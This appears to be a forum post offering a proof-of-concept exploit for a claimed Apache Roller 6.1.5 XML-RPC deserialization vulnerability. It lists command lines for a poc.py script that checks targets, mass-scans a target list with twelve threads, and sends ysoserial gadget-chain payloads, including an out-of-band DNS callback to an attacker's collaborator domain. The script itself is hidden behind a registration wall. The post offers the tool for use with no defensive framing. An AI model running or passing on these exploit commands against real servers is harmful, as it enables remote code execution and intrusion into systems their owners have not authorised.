CVE-2026-82384 — Apache Roller 6.1.5 XML-RPC deserialization
python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
PoC:
View hidden content is available for registered users!
View hidden content is available for registered users!
